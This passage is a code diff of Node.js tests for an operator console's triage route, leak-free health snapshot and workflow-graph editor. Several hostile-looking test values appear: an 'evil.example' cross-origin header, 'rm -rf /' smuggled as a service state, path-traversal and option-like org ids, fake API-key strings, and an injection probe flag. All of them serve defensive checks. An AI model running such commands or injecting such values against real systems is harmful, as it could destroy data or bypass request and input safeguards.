const after = await send(f.port, '/api/triage', { headers: { host: f.headers.host } });
|
||||
assert.equal(after.json.overCapUntil, '2026-11-17T00:00:00.000Z');
|
||||
assert.equal(after.json.capMessage, capMessage('2026-11-17T00:00:00.000Z'));
|
||||
assert.equal(host.running, false);
|
||||
});
|
||||
|
||||
test('with the real host and no route: the read says so in plain words, the write refuses, nothing launches or is written', async t => {
|
||||
const dataRoot = join(mkdtempSync(join(process.env.TMPDIR, 'th-')), 'data');
|
||||
const host = createTriageHost({ dataRoot, readSnapshot: async () => ({ snapshotVersion: 1, at: '2026-11-16T00:00:00.000Z' }), bwrap: '/nonexistent/bwrap' });
|
||||
const f = await devServer(t, { triage: host });
|
||||
const read = await send(f.port, '/api/triage', { headers: { host: f.headers.host } });
|
||||
assert.equal(read.status, 200);
|
||||
assert.equal(read.json.route, 'not set');
|
||||
assert.equal(read.json.routeMessage, NO_ROUTE_MESSAGE);
|
||||
assert.deepEqual(read.json.snapshot, { snapshotVersion: 1, at: '2026-11-16T00:00:00.000Z' });
|
||||
const sent = await send(f.port, '/api/triage/message', { method: 'POST', headers: f.headers, body: { text: 'hello' } });
|
||||
assert.deepEqual([sent.status, sent.json.error], [409, 'triage-no-route']);
|
||||
assert.equal(host.running, false);
|
||||
assert.equal(existsSync(host.paths.transcript), false, 'a refused message is not written');
|
||||
assert.equal(JSON.parse(readFileSync(join(host.paths.health, 'snapshot.json'), 'utf8')).snapshotVersion, 1, 'the read wrote the snapshot');
|
||||
});
|
||||
|
||||
test('the route module keeps its own write checks when called alone: --send, one exact Origin, one same-origin Fetch Metadata', async () => {
|
||||
const triage = fakeTriage();
|
||||
const call = async (headers, { send = true } = {}) => {
|
||||
const distinct = Object.fromEntries(Object.entries(headers).map(([k, v]) => [k, [v].flat()]));
|
||||
const req = { method: 'POST', headers: Object.fromEntries(Object.entries(headers).map(([k, v]) => [k, [v].flat()[0]])), headersDistinct: distinct,
|
||||
async *[Symbol.asyncIterator]() { yield Buffer.from('{"text":"hi"}'); } };
|
||||
let status = null, body = '';
|
||||
const res = { writeHead: s => { status = s; }, end: b => { body = b; } };
|
||||
await triageHTTP(req, res, { path: '/api/triage/message', triage, send, origin: 'https://console.example' });
|
||||
return [status, JSON.parse(body).error ?? 'ok'];
|
||||
};
|
||||
const good = { origin: 'https://console.example', 'sec-fetch-site': 'same-origin', 'content-type': 'application/json' };
|
||||
assert.deepEqual(await call(good, { send: false }), [403, 'read-only']);
|
||||
assert.deepEqual(await call({ ...good, origin: 'https://evil.example' }), [403, 'cross-origin request refused']);
|
||||
assert.deepEqual(await call({ ...good, origin: ['https://console.example', 'https://console.example'] }), [403, 'cross-origin request refused']);
|
||||
const { origin, ...noOrigin } = good;
|
||||
assert.deepEqual(await call(noOrigin), [403, 'cross-origin request refused']);
|
||||
assert.deepEqual(await call({ ...good, 'sec-fetch-site': ['same-origin', 'same-origin'] }), [403, 'cross-site request refused']);
|
||||
assert.deepEqual(triage.calls, []);
|
||||
assert.deepEqual(await call(good), [202, 'ok']);
|
||||
});
|
||||
@@ -0,0 +1,194 @@
|
||||
// #1873 triage-host: the health snapshot keeps a fixed field list. States, times, counts and codes
|
||||
// only; a failed system config check leaves no path, token or stderr text in it.
|
||||
import { test } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { mkdtempSync, mkdirSync, writeFileSync, readFileSync, statSync, readdirSync } from "node:fs";
|
||||
import { join } from "node:path";
|
||||
import {
|
||||
NOT_READ, SNAPSHOT_FIELDS, SYSTEM_CONFIG_CODES, ORG_CONFIG_CODES, ORG_READS_AT_ONCE, composeSnapshot, readSystemConfig, readOrgConfig,
|
||||
runExitOnly, systemConfigCode, writeSnapshot, busFields, proxyFields,
|
||||
} from "../src/triage-snapshot.mjs";
|
||||
|
||||
const scratch = () => mkdtempSync(join(process.env.TMPDIR, "ts-"));
|
||||
const SECRET = "sk-ant-TRIAGESECRET0123456789";
|
||||
const cliError = (message) => Object.assign(new Error(message), { name: "CliError", exitCode: 3 });
|
||||
|
||||
function assertClean(snapshot, ...needles) {
|
||||
const text = JSON.stringify(snapshot);
|
||||
for (const n of needles) assert.ok(!text.includes(n), `snapshot holds ${n}`);
|
||||
assert.ok(!text.includes("mosaic-config"), "snapshot holds stderr text");
|
||||
assert.ok(!/\/(home|mnt|tmp|srv)\//.test(text), "snapshot holds a host path");
|
||||
}
|
||||
|
||||
test("a failed system config check (real validator, bad JSON) leaves no path, token or stderr text", async () => {
|
||||
const dir = scratch();
|
||||
const config = join(dir, `config-${SECRET}.json`);
|
||||
writeFileSync(config, `{"configVersion": 1, "token": "${SECRET}",`);
|
||||
const env = { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: config, LANG: "C.UTF-8" };
|
||||
const systemConfig = await readSystemConfig({ env });
|
||||
assert.notEqual(systemConfig, NOT_READ);
|
||||
assert.equal(systemConfig.valid, false);
|
||||
assert.ok(Number.isInteger(systemConfig.exit) && systemConfig.exit !== 0);
|
||||
assert.ok(SYSTEM_CONFIG_CODES.includes(systemConfig.code), `code ${systemConfig.code} is on the fixed list`);
|
||||
const snap = await composeSnapshot({ systemConfig: () => systemConfig });
|
||||
assertClean(snap, SECRET, dir, config);
|
||||
const file = writeSnapshot(dir, snap);
|
||||
assertClean(readFileSync(file, "utf8"), SECRET, dir);
|
||||
});
|
||||
|
||||
test("a missing config and an unsupported key are refused by code, never by the validator's words", async () => {
|
||||
const dir = scratch();
|
||||
const missing = await readSystemConfig({ env: { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: join(dir, "absent.json") } });
|
||||
assert.deepEqual(missing, { valid: false, exit: 3, code: "config-not-found" });
|
||||
const config = join(dir, "c.json");
|
||||
writeFileSync(config, JSON.stringify({ configVersion: 1, [SECRET]: true }));
|
||||
const odd = await readSystemConfig({ env: { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: config } });
|
||||
assert.equal(odd.valid, false);
|
||||
assert.ok(SYSTEM_CONFIG_CODES.includes(odd.code));
|
||||
assertClean(await composeSnapshot({ systemConfig: () => odd }), SECRET, dir);
|
||||
});
|
||||
|
||||
test("the stderr mapping keeps only a fixed code, whatever the line says", () => {
|
||||
assert.equal(systemConfigCode(0, "anything"), null);
|
||||
assert.equal(systemConfigCode(2, "mosaic-config: instance-root-mismatch: /home/x/.mosaic-dev is claimed"), "instance-root-mismatch");
|
||||
assert.equal(systemConfigCode(3, "mosaic-config: configuration not found: /home/x/config.json"), "config-not-found");
|
||||
assert.equal(systemConfigCode(2, `mosaic-config: ${SECRET}`), "config-invalid");
|
||||
assert.equal(systemConfigCode(9, "/home/x/secret"), "config-check-failed");
|
||||
assert.equal(systemConfigCode(2, "mosaic-config: not-a-code: x"), "config-invalid");
|
||||
});
|
||||
|
||||
test("a child's stdout is never read and stderr only when asked", async () => {
|
||||
const script = `process.stdout.write(${JSON.stringify(SECRET)}); process.stderr.write("line one ${SECRET}\\nline two"); process.exit(2)`;
|
||||
const quiet = await runExitOnly([process.execPath, "-e", script], { env: { PATH: process.env.PATH } });
|
||||
assert.deepEqual(quiet, { exit: 2, firstLine: "" });
|
||||
const told = await runExitOnly([process.execPath, "-e", script], { env: { PATH: process.env.PATH }, stderr: true });
|
||||
assert.equal(told.exit, 2);
|
||||
assert.ok(!JSON.stringify(told).includes("line two"));
|
||||
assert.equal(await runExitOnly([process.execPath, "-e", "setTimeout(() => {}, 10000)"], { env: {}, timeoutMs: 200 }), null);
|
||||
assert.equal(await runExitOnly([join(scratch(), "absent")], { env: {} }), null);
|
||||
});
|
||||
|
||||
test("a system config check that does not reach an exit says not read", async () => {
|
||||
assert.equal(await readSystemConfig({ run: async () => null }), NOT_READ);
|
||||
const snap = await composeSnapshot({ systemConfig: () => readSystemConfig({ run: async () => null }) });
|
||||
assert.equal(snap.systemConfig, NOT_READ);
|
||||
});
|
||||
|
||||
test("the org config check keeps its exit code only, and never runs for an id outside the pattern", async () => {
|
||||
const calls = [];
|
||||
const run = async (argv, opts) => { calls.push([argv.slice(-2), opts.stderr]); return { exit: 2, firstLine: SECRET }; };
|
||||
assert.deepEqual(await readOrgConfig("alpha", { run }), { valid: false, exit: 2, code: "org-config-invalid" });
|
||||
assert.deepEqual(calls, [[["validate", "alpha"], false]]);
|
||||
assert.equal(await readOrgConfig("../etc", { run }), NOT_READ);
|
||||
assert.equal(await readOrgConfig("--help", { run }), NOT_READ);
|
||||
assert.equal(calls.length, 1);
|
||||
assert.ok(ORG_CONFIG_CODES.includes("org-config-check-failed"));
|
||||
});
|
||||
|
||||
test("the snapshot holds the fixed field list and nothing a reader adds", async () => {
|
||||
const now = () => new Date("2026-11-16T12:00:00.000Z");
|
||||
const snap = await composeSnapshot({
|
||||
orgs: async () => [
|
||||
{ id: "alpha", state: "active", root: "/home/x/orgs/alpha" },
|
||||
{ id: "beta", state: "active", root: "/srv/beta" },
|
||||
{ id: "gone", state: "archived", root: "/home/x/gone" },
|
||||
{ id: "../bad", state: "active" },
|
||||
],
|
||||
busStatus: async (id) => {
|
||||
if (id === "beta") throw cliError("stale bus host lock at /home/x/orgs/beta/bus.lock");
|
||||
return { healthy: true, pid: 4242, boot: { ok: true, at: "2026-11-16T11:00:00.000Z", log: "/home/x/boot.log" }, root: "/home/x/orgs/alpha", socket: "/home/x/s.sock" };
|
||||
},
|
||||
processing: async (id) => (id === "alpha" ? { halted: false, invalid: false, reason: SECRET } : { nonsense: 1 }),
|
||||
orgConfig: async () => ({ valid: true, exit: 0, code: null, stderr: SECRET }),
|
||||
proxy: async () => ({ unit: { installed: true, active: "active", healthy: true, error: SECRET, path: "/home/x" }, init: { initialized: true, file: "/home/x" }, fence: { set: false, key: SECRET } }),
|
||||
systemConfig: async () => ({ valid: true, exit: 0, code: null, path: "/home/x/config.json" }),
|
||||
}, { now });
|
||||
assert.deepEqual(Object.keys(snap), SNAPSHOT_FIELDS);
|
||||
assert.deepEqual(snap, {
|
||||
snapshotVersion: 1,
|
||||
at: "2026-11-16T12:00:00.000Z",
|
||||
console: { state: "answering", at: "2026-11-16T12:00:00.000Z" },
|
||||
proxy: { initialized: true, installed: true, active: "active", healthy: true, fence: false },
|
||||
systemConfig: { valid: true, exit: 0, code: null },
|
||||
organizations: {
|
||||
count: 2,
|
||||
list: [
|
||||
{ id: "alpha", bus: { state: "running", lastStart: { ok: true, at: "2026-11-16T11:00:00.000Z" } }, processing: { halted: false, invalid: false }, config: { valid: true, exit: 0, code: null } },
|
||||
{ id: "beta", bus: { state: "dead", lastStart: null }, processing: NOT_READ, config: { valid: true, exit: 0, code: null } },
|
||||
],
|
||||
},
|
||||
});
|
||||
assertClean(snap, SECRET, "4242");
|
||||
});
|
||||
|
||||
test("every failed or missing read says not read, and a read that hangs is cut off", async () => {
|
||||
const hang = () => new Promise(() => {});
|
||||
const snap = await composeSnapshot({
|
||||
orgs: async () => [{ id: "alpha", state: "active" }],
|
||||
busStatus: async () => { throw new Error("EACCES /home/x"); },
|
||||
processing: hang,
|
||||
orgConfig: async () => { throw new Error(SECRET); },
|
||||
proxy: hang,
|
||||
}, { timeoutMs: 100 });
|
||||
assert.equal(snap.proxy, NOT_READ);
|
||||
assert.equal(snap.systemConfig, NOT_READ);
|
||||
assert.deepEqual(snap.organizations.list, [{ id: "alpha", bus: NOT_READ, processing: NOT_READ, config: NOT_READ }]);
|
||||
assert.equal((await composeSnapshot({ orgs: async () => { throw new Error("x"); } })).organizations, NOT_READ);
|
||||
assert.equal((await composeSnapshot({})).organizations, NOT_READ);
|
||||
assertClean(snap, SECRET);
|
||||
});
|
||||
|
||||
test("bus and proxy reads outside their shapes say not read; unknown unit states are unknown", () => {
|
||||
assert.equal(busFields({ pid: 3 }), NOT_READ);
|
||||
assert.deepEqual(busFields({ healthy: false, pid: 3 }), { state: "not-answering", lastStart: null });
|
||||
assert.deepEqual(busFields({ healthy: false, pid: null, boot: { ok: false, at: "yesterday" } }), { state: "stopped", lastStart: null });
|
||||
assert.equal(proxyFields({}), NOT_READ);
|
||||
assert.equal(proxyFields({ unit: { installed: false, active: "rm -rf /", healthy: false } }).active, "unknown");
|
||||
});
|
||||
|
||||
test("the snapshot file is one 0600 file, replaced whole", () => {
|
||||
const dir = scratch();
|
||||
mkdirSync(join(dir, "health"), { mode: 0o700 });
|
||||
writeSnapshot(join(dir, "health"), { snapshotVersion: 1, n: 1 });
|
||||
const file = writeSnapshot(join(dir, "health"), { snapshotVersion: 1, n: 2 });
|
||||
assert.equal(statSync(file).mode & 0o777, 0o600);
|
||||
assert.deepEqual(readdirSync(join(dir, "health")), ["snapshot.json"]);
|
||||
assert.equal(JSON.parse(readFileSync(file, "utf8")).n, 2);
|
||||
});
|
||||
|
||||
test("organizations are read at most ORG_READS_AT_ONCE at a time and listed in registry order", async () => {
|
||||
let live = 0, most = 0;
|
||||
const ids = Array.from({ length: 10 }, (_, i) => `org${i}`);
|
||||
const slow = async () => { live++; most = Math.max(most, live); await new Promise((r) => setTimeout(r, 5)); live--; return { valid: true, exit: 0, code: null }; };
|
||||
const snap = await composeSnapshot({ orgs: async () => ids.map((id) => ({ id, state: "active" })), orgConfig: slow });
|
||||
assert.equal(ORG_READS_AT_ONCE, 4);
|
||||
assert.equal(most, ORG_READS_AT_ONCE);
|
||||
assert.deepEqual(snap.organizations.list.map((o) => o.id), ids);
|
||||
assert.equal(snap.organizations.count, 10);
|
||||
});
|
||||
|
||||
test("the organization reads share one deadline: forty hung organizations take one timeout, not ten", async () => {
|
||||
let calls = 0;
|
||||
const ids = Array.from({ length: 40 }, (_, i) => `org${i}`);
|
||||
const hang = () => { calls++; return new Promise(() => {}); };
|
||||
const began = Date.now();
|
||||
const snap = await composeSnapshot({ orgs: async () => ids.map((id) => ({ id, state: "active" })), busStatus: hang, processing: hang, orgConfig: hang }, { timeoutMs: 200 });
|
||||
const took = Date.now() - began;
|
||||
assert.ok(took < 800, `took ${took} ms`);
|
||||
assert.ok(calls < ids.length, `${calls} reads began`);
|
||||
assert.equal(snap.organizations.count, 40);
|
||||
assert.deepEqual(snap.organizations.list.map((o) => o.id), ids);
|
||||
for (const o of snap.organizations.list) assert.deepEqual([o.bus, o.processing, o.config], [NOT_READ, NOT_READ, NOT_READ], o.id);
|
||||
});
|
||||
|
||||
test("an organization begun late gets only what is left of the deadline", async () => {
|
||||
const ids = ["a0", "a1", "a2", "a3", "a4"];
|
||||
const hang = () => new Promise(() => {});
|
||||
// Three readers hang; a3 answers after 300 ms, and the worker that read it starts a4 with 100 ms left.
|
||||
const orgConfig = (id) => (id === "a3" ? new Promise((r) => setTimeout(() => r({ valid: true, exit: 0, code: null }), 300)) : hang());
|
||||
const began = Date.now();
|
||||
const snap = await composeSnapshot({ orgs: async () => ids.map((id) => ({ id, state: "active" })), orgConfig }, { timeoutMs: 400 });
|
||||
const took = Date.now() - began;
|
||||
assert.ok(took < 600, `took ${took} ms`);
|
||||
assert.deepEqual(snap.organizations.list.map((o) => [o.id, o.config === NOT_READ ? "not read" : "read"]), [["a0", "not read"], ["a1", "not read"], ["a2", "not read"], ["a3", "read"], ["a4", "not read"]]);
|
||||
});
|
||||
@@ -302,8 +302,8 @@ test('keyboard focus follows visual order and survives a data refresh', async t
|
||||
await b.navigate(`http://127.0.0.1:${server.address().port}/#/orgs/ddigital/organization`);
|
||||
await wait('document.querySelectorAll("[data-org-dashboard] .ws-doc").length > 0 && document.querySelectorAll("#workspace-nav .ws-proj").length === 3');
|
||||
const wide = await tabStops(b, 'document.querySelector("#sections a")');
|
||||
// The right column holds the Workflows card (SP9) above Settings.
|
||||
const regions = ['nav', 'head', 'Measures and sessions', 'Workflows and settings'];
|
||||
// The left column holds the sessions and, below them, the Workflows card (SP16); the right holds Settings.
|
||||
const regions = ['nav', 'head', 'Sessions and workflows', 'Settings'];
|
||||
assert.deepEqual([...new Set(wide.map(s => s.region))].filter(r => r !== 'other'), regions);
|
||||
assertVisualOrder(wide.filter(s => s.region !== 'other'), regions, '1440');
|
||||
const keys = wide.map(s => s.key);
|
||||
|
||||
@@ -10,6 +10,10 @@ import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { startServer } from '../src/serve.mjs';
|
||||
import { createDevOwner } from '../src/dev-owner.mjs';
|
||||
import { mkdtempSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
import { createOrgAdmin } from '../src/org-admin.mjs';
|
||||
import { actionTrail } from '../src/action-trail.mjs';
|
||||
import { browser } from './browser.mjs';
|
||||
import { close } from './fixture.mjs';
|
||||
|
||||
@@ -45,11 +49,18 @@ const LIST = [
|
||||
// page sent, and a refusal to give the next write. A write with another revision is a revision-conflict.
|
||||
const hex = n => n.toString(16).padStart(64, '0');
|
||||
function store(writable) {
|
||||
const st = { writable, docs: structuredClone(DOCS), revs: { acme: 'a'.repeat(64), bare: 'b'.repeat(64), gamma: 'c'.repeat(64) }, writes: [], refuse: null, n: 0 };
|
||||
const st = { writable, docs: structuredClone(DOCS), revs: { acme: 'a'.repeat(64), bare: 'b'.repeat(64), gamma: 'c'.repeat(64) }, writes: [], refuse: null, n: 0, held: {}, down: {} };
|
||||
// SP17 item 4: st.down[id] is 'restarting' (the bus does not answer: the list says unavailable, the file
|
||||
// still reads, a write finds no bus host) or 'stopped' (the owner stopped it: the page does not read it).
|
||||
st.view = org => (st.down[org.id] ? { ...org, busHealthy: false, ...(st.down[org.id] === 'stopped' ? { busStopped: true } : {}) } : org);
|
||||
// SP17: hold('read') holds the next workflow read, which answers with the file as it was when the read
|
||||
// began; hold('write') holds the next write before it reaches the file. Each returns the release.
|
||||
st.hold = which => { let open; st.held[which] = new Promise(r => { open = r; }); return open; };
|
||||
const fail = code => Object.assign(new Error(code), { code });
|
||||
st.write = (id, verb, args) => {
|
||||
st.writes.push({ id, verb, args: structuredClone(args) });
|
||||
if (verb !== 'workflow.set.console') throw fail('not-configured');
|
||||
if (st.down[id]) throw fail('no-bus-host');
|
||||
if (st.refuse) { const code = st.refuse; st.refuse = null; throw fail(code); }
|
||||
if (args.revision !== st.revs[id]) throw fail('revision-conflict');
|
||||
const doc = st.docs[id], scope = args.project ? doc.projects[args.project] : doc;
|
||||
@@ -63,20 +74,26 @@ function store(writable) {
|
||||
return st;
|
||||
}
|
||||
function organizations(reads, st) {
|
||||
const member = org => ({
|
||||
const member = org0 => { const org = st.view(org0); return {
|
||||
id: org.id, doc: { appearance: { theme: org.theme }, roles: {}, projects: {} },
|
||||
status: async () => (org.busHealthy ? { healthy: true, pid: 4242, boot: null } : { healthy: false, boot: { ok: false, at: at(90), lastGood: null, reason: 'stopped by the owner' } }),
|
||||
options: () => ({ bus: { inbox: async () => [], agents: async () => [], 'thread.claims': async () => [], tasks: async () => [] }, chat: { threads: async () => [], projects: async () => [] } }),
|
||||
});
|
||||
}; };
|
||||
return {
|
||||
list: async () => LIST,
|
||||
list: async () => LIST.map(st.view),
|
||||
members: async () => LIST.map(member),
|
||||
resolve: async id => {
|
||||
const org = LIST.find(o => o.id === id); if (!org) return null;
|
||||
const workflowsRead = async () => { reads.push(id); if (st.failRead) throw Object.assign(new Error('org-unavailable'), { code: 'org-unavailable' }); return { revision: st.revs[id], document: structuredClone(st.docs[id] ?? {}), templates: ['writer'] }; };
|
||||
const workflowsRead = async () => {
|
||||
reads.push(id);
|
||||
if (st.failRead) throw Object.assign(new Error('org-unavailable'), { code: 'org-unavailable' });
|
||||
const answer = { revision: st.revs[id], document: structuredClone(st.docs[id] ?? {}), templates: ['writer', 'triage'] };
|
||||
const h = st.held.read; if (h) { st.held.read = null; await h; }
|
||||
return answer;
|
||||
};
|
||||
if (!org.busHealthy) return { busHealthy: false, reads: null, bus: {}, workflowsRead, chat: { projects: async () => [], threads: async () => [] } };
|
||||
return {
|
||||
busHealthy: true, workflowsRead, packsWrite: st.writable ? async (verb, args) => st.write(id, verb, args) : null, decisionWrite: async () => ({}), send: async () => ({}),
|
||||
busHealthy: true, workflowsRead, packsWrite: st.writable ? async (verb, args) => { const h = st.held.write; if (h) { st.held.write = null; await h; } return st.write(id, verb, args); } : null, decisionWrite: async () => ({}), send: async () => ({}),
|
||||
requestRead: async verb => { if (verb === 'packs.console') return { packs: [] }; if (verb === 'autonomy.get.console') return { revision: 'e'.repeat(64), autonomy: {}, levels: {} }; throw Object.assign(new Error('not-configured'), { code: 'not-configured' }); },
|
||||
reads: { business: async () => ({ business: { id, projects: [], instances: [] } }), settings: async () => ({}), queue: async () => ({ rows: [] }) },
|
||||
bus: { instances: async () => ({ instances: {} }), agents: async () => [], 'thread.claims': async () => [], tasks: async () => [], inbox: async () => [], messages: async () => ({ messages: [] }) },
|
||||
@@ -86,9 +103,10 @@ function organizations(reads, st) {
|
||||
};
|
||||
}
|
||||
|
||||
async function setup(t, { path, viewport = [1440, 900], mode = null, writable = true } = {}) {
|
||||
async function setup(t, { path, viewport = [1440, 900], mode = null, writable = true, admin = null } = {}) {
|
||||
const reads = [], st = store(writable);
|
||||
const server = await startServer({ port: 0, sso: createDevOwner(), send: async () => ({}), log: () => {}, organizations: organizations(reads, st) });
|
||||
const extra = admin ? { orgAdmin: admin(st), trail: actionTrail(join(mkdtempSync(join(process.env.TMPDIR, 'wfg-')), 'console')) } : {};
|
||||
const server = await startServer({ port: 0, sso: createDevOwner(), send: async () => ({}), log: () => {}, organizations: organizations(reads, st), ...extra });
|
||||
t.after(() => close(server));
|
||||
const b = await browser({ machine: false, args: ['--disable-extensions'] });
|
||||
t.after(() => b.close());
|
||||
@@ -157,7 +175,8 @@ test('the graph draws one box per step in order with its roles and one arrowed e
|
||||
});
|
||||
|
||||
test('selecting a step shows what the data holds for it and survives a repaint', { timeout: 60000 }, async t => {
|
||||
const { b, wait, reads } = await setup(t, { path: '#/orgs/acme/workflows/change' });
|
||||
// A reader's page: the roles and state are lines of text. A writer's page shows them as the step's form (below).
|
||||
const { b, wait, reads } = await setup(t, { path: '#/orgs/acme/workflows/change', writable: false });
|
||||
await wait(`${boxes}.length === 4`, 'four boxes');
|
||||
assert.match(await b.evaluate(`document.querySelector('[data-wfg-detail]').textContent`), /Select a step/);
|
||||
await b.evaluate(`document.querySelector('[data-wfg-step="2"]').dispatchEvent(new MouseEvent('click',{bubbles:true,cancelable:true}));true`);
|
||||
@@ -262,6 +281,15 @@ test('the organization page card lists each workflow as a link to its graph', {
|
||||
assert.equal(await b.evaluate(`window.__sp9pwn===undefined`), true);
|
||||
// The card reuses the page's one workflow read; it sends no second one.
|
||||
assert.equal(reads.filter(id => id === 'acme').length, 1);
|
||||
// SP17: under each workflow, each step links to its own form.
|
||||
assert.deepEqual(await b.evaluate(`[...document.querySelectorAll('[data-wfg-card] .wfg-cardlist > li:first-child [data-wfg-card-step]')].map(a=>[a.getAttribute('href'),a.textContent,a.getAttribute('aria-label')])`), [
|
||||
['#/orgs/acme/workflows/change?step=1', 'Write the task', 'Change step 1, Write the task'],
|
||||
['#/orgs/acme/workflows/change?step=2', 'Implement the change', 'Change step 2, Implement the change'],
|
||||
['#/orgs/acme/workflows/change?step=3', 'Review the change', 'Change step 3, Review the change'],
|
||||
['#/orgs/acme/workflows/change?step=4', 'Approve the merge', 'Change step 4, Approve the merge'],
|
||||
]);
|
||||
assert.deepEqual(await b.evaluate(`[...document.querySelectorAll('[data-wfg-card] [data-wfg-card-step]')].map(a=>a.getAttribute('href')).filter(h=>/project=site/.test(h))`), ['#/orgs/acme/workflows/change?project=site&step=1', '#/orgs/acme/workflows/change?project=site&step=2']);
|
||||
assert.equal(await b.evaluate(`document.documentElement.scrollWidth<=innerWidth`), true);
|
||||
await b.evaluate(`document.querySelector('[data-wfg-card] [data-wfg-card-item]').click();true`);
|
||||
await wait(`location.hash === '#/orgs/acme/workflows/change' && document.querySelectorAll('[data-wfg-graph] [data-wfg-step]').length === 4`, 'graph from card');
|
||||
});
|
||||
@@ -325,31 +353,36 @@ const fill = (sel, value) => `(()=>{const e=document.querySelector(${JSON.string
|
||||
const role = (form, name) => `${form} input[name="role"][value="${name}"]`;
|
||||
const text = sel => `(document.querySelector(${JSON.stringify(sel)})?.textContent ?? '').replace(/\\s+/g,' ').trim()`;
|
||||
|
||||
test('editing a step changes the graph on the page, and Save sends one POST with the revision the page read', { timeout: 60000 }, async t => {
|
||||
const form = '[data-wfg-step-form]';
|
||||
const saveOn = `(()=>{const e=document.querySelector('[data-wfg-save]');return !!e&&!e.disabled})()`;
|
||||
|
||||
test('a selected step is its edit form: a change draws in the graph, and Save sends one POST with the revision the page read', { timeout: 60000 }, async t => {
|
||||
const { b, wait, st } = await setup(t, { path: '#/orgs/acme/workflows/change?step=4' });
|
||||
await wait(`document.querySelector('[data-wfg-detail-title]')?.textContent === 'Approve the merge' && document.querySelector('[data-wfg-edit]')`, 'step 4 with Edit');
|
||||
// Nothing pending: no Unsaved, no Save.
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-unsaved],[data-wfg-save],[data-wfg-discard]')`), null);
|
||||
await b.evaluate(press('[data-wfg-edit]'));
|
||||
await wait(`document.querySelector('[data-wfg-form] [data-wfg-form-title]')?.textContent === 'Edit step 4'`, 'step form');
|
||||
assert.equal(await b.evaluate(`document.activeElement.dataset.focusKey`), 'wfg-f-title');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-form] input[name="title"]').value`), 'Approve the merge');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-form] select[name="state"]').value`), 'done');
|
||||
await wait(`document.querySelector('[data-wfg-detail-title]')?.textContent === 'Approve the merge' && document.querySelector('${form}')`, 'step 4 with its form');
|
||||
// Nothing pending: no Unsaved, no Discard, no Reset, and Save is there but off.
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-unsaved],[data-wfg-discard]')`), null);
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} [data-wfg-save]').disabled`), true);
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} [data-wfg-cancel]').hidden`), true);
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} input[name="title"]').value`), 'Approve the merge');
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} select[name="state"]').value`), 'done');
|
||||
// The picker offers human, the organization's roles and the templates; the step's unknown role is first, checked and marked.
|
||||
assert.deepEqual(await b.evaluate(`[...document.querySelectorAll('[data-wfg-form] input[name="role"]')].map(i=>[i.value,i.checked])`), [['merge-gate', true], ['human', true], ['coder', false], ['pm', false], ['reviewer', false], ['writer', false]]);
|
||||
assert.ok(await b.evaluate(`!!document.querySelector('[data-wfg-form] [data-wfg-pick-missing]')`));
|
||||
await b.evaluate(fill('[data-wfg-form] input[name="title"]', 'Approve and merge'));
|
||||
await b.evaluate(press(role('[data-wfg-form]', 'merge-gate')));
|
||||
await b.evaluate(press(role('[data-wfg-form]', 'reviewer')));
|
||||
await b.evaluate(press('[data-wfg-apply]'));
|
||||
await wait(`${titles}[3] === 'Approve and merge' && document.querySelector('[data-wfg-unsaved]')`, 'pending change drawn');
|
||||
assert.deepEqual(await b.evaluate(`[...document.querySelectorAll('${form} input[name="role"]')].map(i=>[i.value,i.checked])`), [['merge-gate', true], ['human', true], ['coder', false], ['pm', false], ['reviewer', false], ['writer', false]]);
|
||||
assert.ok(await b.evaluate(`!!document.querySelector('${form} [data-wfg-pick-missing]')`));
|
||||
await b.evaluate(fill(`${form} input[name="title"]`, 'Approve and merge'));
|
||||
await b.evaluate(press(role(form, 'merge-gate')));
|
||||
await b.evaluate(press(role(form, 'reviewer')));
|
||||
// The graph draws the step as typed; nothing is written yet.
|
||||
await wait(`${titles}[3] === 'Approve and merge' && document.querySelector('[data-wfg-unsaved]') && ${saveOn}`, 'pending change drawn');
|
||||
assert.deepEqual(await b.evaluate(`[...document.querySelectorAll('[data-wfg-step="4"] [data-wfg-roles] tspan')].map(t=>t.textContent)`), ['human', 'reviewer']);
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-step="4"] [data-wfg-missing]')`), null);
|
||||
assert.equal(await b.evaluate(text('[data-wfg-unsaved]')), 'Unsaved');
|
||||
assert.equal(await b.evaluate(`document.activeElement.dataset.focusKey`), 'wfg-save');
|
||||
assert.equal(st.writes.length, 0, 'Apply writes nothing');
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} [data-wfg-cancel]').hidden`), false, 'Reset step shows once the step differs');
|
||||
// The panel's Save is the only one; the bar does not repeat it.
|
||||
assert.equal(await b.evaluate(`document.querySelectorAll('[data-wfg-save]').length`), 1);
|
||||
assert.equal(st.writes.length, 0, 'typing writes nothing');
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`/Saved change\\./.test(${text('[data-wfg-status]')}) && !document.querySelector('[data-wfg-unsaved]')`, 'saved');
|
||||
assert.ok(await b.evaluate(`!!document.querySelector('${form} [data-wfg-status]')`), 'the status sits with the Save that was pressed');
|
||||
assert.equal(st.writes.length, 1);
|
||||
assert.deepEqual(st.writes[0], { id: 'acme', verb: 'workflow.set.console', args: { revision: REV_A, name: 'change', workflow: {
|
||||
description: 'One change from task to merge.',
|
||||
@@ -359,9 +392,29 @@ test('editing a step changes the graph on the page, and Save sends one POST with
|
||||
{ title: 'Review the change', state: 'in-review', roles: ['reviewer'] },
|
||||
{ title: 'Approve and merge', state: 'done', roles: ['human', 'reviewer'] },
|
||||
] } } });
|
||||
// The page now draws the file as saved, read again.
|
||||
await wait(`document.querySelector('[data-wfg-detail-title]')?.textContent === 'Approve and merge'`, 'detail after save');
|
||||
assert.deepEqual(st.docs.acme.workflows.change.steps[3], { title: 'Approve and merge', state: 'done', roles: ['human', 'reviewer'] });
|
||||
// Reset step puts a typed step back as the page holds it.
|
||||
